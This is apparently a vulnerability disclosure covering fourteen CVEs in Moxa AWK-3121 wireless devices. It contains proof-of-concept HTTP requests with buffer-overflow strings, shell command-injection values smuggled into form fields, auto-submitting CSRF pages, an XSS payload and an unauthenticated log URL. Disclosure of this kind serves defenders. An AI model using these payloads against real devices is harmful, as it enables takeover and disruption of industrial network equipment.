Moxa AWK-3121 1.14 Information Disclosure / Command Execution

1.CVE-2018-10690 [Suggested description] An issue was discovered on Moxa AWK-3121 1.14 devices. The device by default allows HTTP traffic thus providing an insecure communication mechanism for a user connecting to the web server. This allows an attacker to sniff the traffic easily and allows an attacker to compromise sensitive data such as credentials. ------------------------------------------ [VulnerabilityType Other] HTTP traffic by default ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can sniff the HTTP traffic passing between the user and the device by using a MITM attack such as ARP poisoning. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 2. CVE-2018-10691 [Suggested description] An issue was discovered on Moxa AWK-3121 1.14 devices. It is intended that an administrator can download /systemlog.log (the system log). However, the same functionality allows an attacker to download the file without any authentication or authorization. ------------------------------------------ [Additional Information] POC http://192.168.127.253//systemlog.log ------------------------------------------ [Vulnerability Type] Incorrect Access Control ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can navigate to URL and download the systemlog file without any authentication or authorization ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 3. CVE-2018-10692 [Suggested description] An issue was discovered on Moxa AWK-3121 1.14 devices. The session cookie "Password508" does not have an HttpOnly flag. This allows an attacker who is able to execute a cross-site scripting attack to steal the cookie very easily. ------------------------------------------ [VulnerabilityType Other] Missing HttpOnly flag on session cookie ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can use cross-site scripting attack to access the session cookie "Password508" which can allow an attacker to login into the device. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 4. CVE-2018-10693 [Suggested description] An issue was discovered on Moxa AWK-3121 1.14 devices. It provides ping functionality so that an administrator can execute ICMP calls to check if the network is working correctly. However, the same functionality allows an attacker to execute commands on the device. The POST parameter "srvName" is susceptible to a buffer overflow. By crafting a packet that contains a string of 516 characters, it is possible for an attacker to execute the attack. ------------------------------------------ [Additional Information] POC POST /forms/webSetPingTrace HTTP/1.1 Cookie: Password508=6d86219d9cca208c1085cce81fdd31f0 srvName=AAAAAA (etc.) EEEEEE&option=0&bkpath=%2Fping_trace.asp ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute a buffer overflow on the device ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 5. CVE-2018-10694 [Suggested description] An issue was discovered on Moxa AWK-3121 1.14 devices. The device provides a Wi-Fi connection that is open and does not use any encryption mechanism by default. An administrator who uses the open wireless connection to set up the device can allow an attacker to sniff the traffic passing between the user's computer and the device. This can allow an attacker to steal the credentials passing over the HTTP connection as well as TELNET traffic. Also an attacker can MITM the response and infect a user's computer very easily as well. ------------------------------------------ [VulnerabilityType Other] Open WiFi Connection ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Device ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can monitor the Wifi channels using Kismet or some other opensource software and an wireless card in monitor mode and sniff all the traffic including HTTP traffic as well as SSH and Telnet traffic. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 6. CVE-2018-10695 [Suggested description] An issue was discovered on Moxa AWK-3121 1.14 devices. It provides alert functionality so that an administrator can send emails to his/her account when there are changes to the device's network. However, the same functionality allows an attacker to execute commands on the device. The POST parameters "to1,to2,to3,to4" are all susceptible to buffer overflow. By crafting a packet that contains a string of 678 characters, it is possible for an attacker to execute the attack. ------------------------------------------ [Additional Information] POC POST /forms/web_SendTestEmail HTTP/1.1 Cookie: Password508=fab7f1d1efa604721aa70cf5a1ad163f server=server.mail.com&username=test&password=test&from=test@mail.com&to1=AAAAAAAAAA (etc.) ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute the buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 7. CVE-2018-10696 [Suggested description] An issue was discovered on Moxa AWK-3121 1.14 devices. The device provides a web interface to allow an administrator to manage the device. However, this interface is not protected against CSRF attacks, which allows an attacker to trick an administrator into executing actions without his/her knowledge, as demonstrated by the forms/iw_webSetParameters and forms/webSetMainRestart URIs. ------------------------------------------ [Additional Information] POC to change name of the device <html <body <form id="f" action="http://192.168.127.253/forms/iw_webSetParameters" method="POST" enctype="application/x-www-form-urlencoded" <input type="hidden" name="iw_board_deviceName" value="AWK-ROMEO" / <input type="hidden" name="iw_board_deviceLocation" value="" / <input type="hidden" name="iw_board_deviceDescription" value="" / <input type="hidden" name="iw_board_deviceContactInfo" value="" / <input type="hidden" name="Submit" value="Submit" / <input type="hidden" name="bkpath" value="/sysinfo.asp " / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html <html <body <form id="f" action="http://192.168.127.253/forms/webSetMainRestart" method="GET" enctype="application/x-www-form-urlencoded" <input type="hidden" name="SaveValue" value="1" / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html ------------------------------------------ [Vulnerability Type] Cross Site Request Forgery (CSRF) ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Escalation of Privileges] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can trick an administrator of the device to visit an attacker controlled page while connected to the network and thus trick to change the password or any other setting ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 8. CVE-2018-10697 [Suggested description] An issue was discovered on Moxa AWK-3121 1.14 devices. The Moxa AWK 3121 provides ping functionality so that an administrator can execute ICMP calls to check if the network is working correctly. However, the same functionality allows an attacker to execute commands on the device. The POST parameter "srvName" is susceptible to this injection. By crafting a packet that contains shell metacharacters, it is possible for an attacker to execute the attack. ------------------------------------------ [Additional Information] POC POST /forms/webSetPingTrace HTTP/1.1 Cookie: Password508=e07f98b965bcc5abfe11c9c763b2d333 srvName=192.168.127.102;ping -c 8 192.168.127.101;##&option=0&bkpath=%2Fping_trace.asp ------------------------------------------ [VulnerabilityType Other] Command injection in Ping functionality ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 9. CVE-2018-10698 [Suggested description] An issue was discovered on Moxa AWK-3121 1.14 devices. The device enables an unencrypted TELNET service by default. This allows an attacker who has been able to gain an MITM position to easily sniff the traffic between the device and the user. Also an attacker can easily connect to the TELNET daemon using the default credentials if they have not been changed by the user. ------------------------------------------ [VulnerabilityType Other] Insecure service Telnet enabled by default ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Telnet daemon ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can sniff the traffic passing between the device and user by using a MITM attack such as ARP poisoning ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 10. CVE-2018-10699 [Suggested description] An issue was discovered on Moxa AWK-3121 1.14 devices. The Moxa AWK 3121 provides certfile upload functionality so that an administrator can upload a certificate file used for connecting to the wireless network. However, the same functionality allows an attacker to execute commands on the device. The POST parameter "iw_privatePass" is susceptible to this injection. By crafting a packet that contains shell metacharacters, it is possible for an attacker to execute the attack. ------------------------------------------ [Additional Information] POC POST /forms/web_certUpload HTTP/1.1 Cookie: Password508=68abf30ef8176a4248320929e04df562 ... 114782935826962 Content-Disposition: form-data; name="iw_privatePass" ;`ping -c 9 192.168.127.103` ## ... 114782935826962 Content-Disposition: form-data; name="bkpath" /wireless_cert.asp?index=1 ... 114782935826962 Content-Disposition: form-data; name="certSection" certWlan ... 114782935826962 Content-Disposition: form-data; name="rfindex" 0 ... 114782935826962 Content-Disposition: form-data; name="Submit" Submit ... 114782935826962 Content-Disposition: form-data; name="certFile1" test.txt ... 114782935826962 Content-Disposition: form-data; name="certFile"; filename="blob" Content-Type: text/xml <a id="a"<b id="b"hey!</b</a ... 114782935826962-- ------------------------------------------ [VulnerabilityType Other] Command injection in file upload ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 11. CVE-2018-10700 [Suggested description] An issue was discovered on Moxa AWK-3121 1.19 devices. It provides functionality so that an administrator can change the name of the device. However, the same functionality allows an attacker to execute XSS by injecting an XSS payload. The POST parameter "iw_board_deviceName" is susceptible to this injection. ------------------------------------------ [Additional Information] POC <html <body <form id="f" action="http://192.168.127.253/forms/iw_webSetParameters" method="POST" enctype="application/x-www-form-urlencoded" <input type="hidden" name="iw_board_deviceName" value="AWK<\/td');alert(1);//" / <input type="hidden" name="iw_board_deviceLocation" value="" / <input type="hidden" name="iw_board_deviceDescription" value="" / <input type="hidden" name="iw_board_deviceContactInfo" value="" / <input type="hidden" name="Submit" value="Submit" / <input type="hidden" name="bkpath" value="/sysinfo.asp " / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html ------------------------------------------ [Vulnerability Type] Cross Site Scripting (XSS) ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.9 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Escalation of Privileges] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute a stored XSS on the device. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 12. CVE-2018-10701 [Suggested description] An issue was discovered on Moxa AWK-3121 1.14 devices. It provides functionality so that an administrator can run scripts on the device to troubleshoot any issues. However, the same functionality allows an attacker to execute commands on the device. The POST parameter "iw_filename" is susceptible to buffer overflow. By crafting a packet that contains a string of 162 characters, it is possible for an attacker to execute the attack. ------------------------------------------ [Additional Information] POC POST /forms/web_runScript HTTP/1.1 Cookie: Password508=071b1093656adca3510d5e32f69737ec ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_filename"; filename="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC" Content-Type: application/octet-stream ls -ltr ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_storage" tftp ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_serverip" `ping -c 3 192.168.127.101` ... 7e21a62f2905ca Content-Disposition: form-data; name="bkpath" /Troubleshooting.asp ... 7e21a62f2905ca-- ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 13. CVE-2018-10702 [Suggested description] An issue was discovered on Moxa AWK-3121 1.14 devices. It provides functionality so that an administrator can run scripts on the device to troubleshoot any issues. However, the same functionality allows an attacker to execute commands on the device. The POST parameter "iw_filename" is susceptible to command injection via shell metacharacters. ------------------------------------------ [Additional Information] POC <html <body <script function submitRequest() { var formData = new FormData(); formData.append("iw_filename", ";`ping -c 9 192.168.127.103` ##"); formData.append("iw_storage", "tftp"); formData.append("iw_serverip", "192.168.1.101"); formData.append("bkpath", "/wireless_cert.asp?index=1"); // HTML file input, chosen by user formData.append("certFile1", "test.txt"); // JavaScript file-like object var content = '<a id="a"<b id="b"hey!</b</a'; // the body of the new file... var blob = new Blob([content], { type: "text/xml"}); formData.append("certFile", blob); var request = new XMLHttpRequest(); request.open("POST", "http://192.168.127.253/forms/web_certUpload"); request.send(formData); } </script <form action="#" <input type="submit" value="Submit request" onclick="submitRequest();" / </form </body </html ------------------------------------------ [VulnerabilityType Other] Command injection in web runscript functionality ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 14. CVE-2018-10703 [Suggested description] An issue was discovered on Moxa AWK-3121 1.14 devices. It provides functionality so that an administrator can run scripts on the device to troubleshoot any issues. However, the same functionality allows an attacker to execute commands on the device. The POST parameter "iw_serverip" is susceptible to buffer overflow. By crafting a packet that contains a string of 480 characters, it is possible for an attacker to execute the attack. ------------------------------------------ [Additional Information] POC POST /forms/web_runScript HTTP/1.1 Cookie: Password508=c629f1b9d18c3d751da6d7b1fd43e628 ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_filename"; filename="XXXX" Content-Type: application/octet-stream ls -ltr ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_storage" tftp ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_serverip" AAAAAAAAAAAAAAAAAA (etc.) ... 7e21a62f2905ca Content-Disposition: form-data; name="bkpath" /Troubleshooting.asp ... 7e21a62f2905ca-- ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute the buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley


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